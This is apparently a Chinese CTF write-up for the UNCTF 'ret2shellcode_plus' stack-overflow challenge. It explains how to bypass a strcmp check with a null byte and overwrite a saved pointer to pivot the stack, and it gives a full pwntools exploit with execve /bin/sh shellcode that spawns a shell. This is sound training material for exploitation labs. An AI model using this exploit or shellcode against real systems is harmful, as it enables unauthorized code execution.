UNCTF 练习场 栈溢出 ret2shellcode_plus Writeup

UNCTF练习场 ret2shellcode_plus Writeup

寝室断电了,正好可以总结一下这段时间写的几道题目。 拿到文件先上手checksec一下 Checksec.png

只开了Full RELRO 其他都没有。 先拖入IDA F5看看 ret2shellcode_plus.png 题目很直白,进去就直接让我们输入shellcode,输入到**::s中,这个位置是0x0804A040**,是一个全局变量的位置,而且有运行权限,且文件没有开起PIE,我们可以直接跳到这个位置来执行shellcode。 那么,怎么能够跳到这个位置呢? 首先可以观察到13行的read,这个read读取了0x14个字节,但是实际的s只有0x10个字节,所以说,我们可以通过这个read,来覆盖掉v3。 但是这个v3能影响到什么呢?这时候我们就可以从汇编里面来观察 asm_code.png 可以看到,当我们s的内容与"yes\n"相等时,则会return 0,否则直接exit(0); 所以我们可以用\0来截止strcmp读入,让他读取到"yes\n\0",就可以绕过这个判定。

通过汇编我们可以看到这几条重要的代码

1
2
3
4
lea esp, [ebp-8] //ebp-8 就是v3的指针
pop ecx
lea esp, [ecx-4]
retn

所以我们想要ROP,那就是要控制源头的v3。 最后返回的值也就是 *(v3 - 4)位置的值 我们知道shellcode的位置是0x0804A040,那么我们就让0x0804A040位置放返回位置(0x0804A044),在0x0804A044位置放shellcode,然后最后会跳转到0x0804A044执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
from LibcSearcher import *

#r = remote('120.79.17.251', 10004)
r = process('./ret2shellcode_32_plus')
shellcode = p32(0x0804A044) + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
r.recvuntil("shellcode")
r.sendline(shellcode)
r.recvuntil("????")
payload = 'yes' + "\n\0" + 'a' * (0x10 - 0x5) + p32(0x0804A040 + 4)
r.sendline(payload)
r.interactive()

cat flag cat flag.png

0%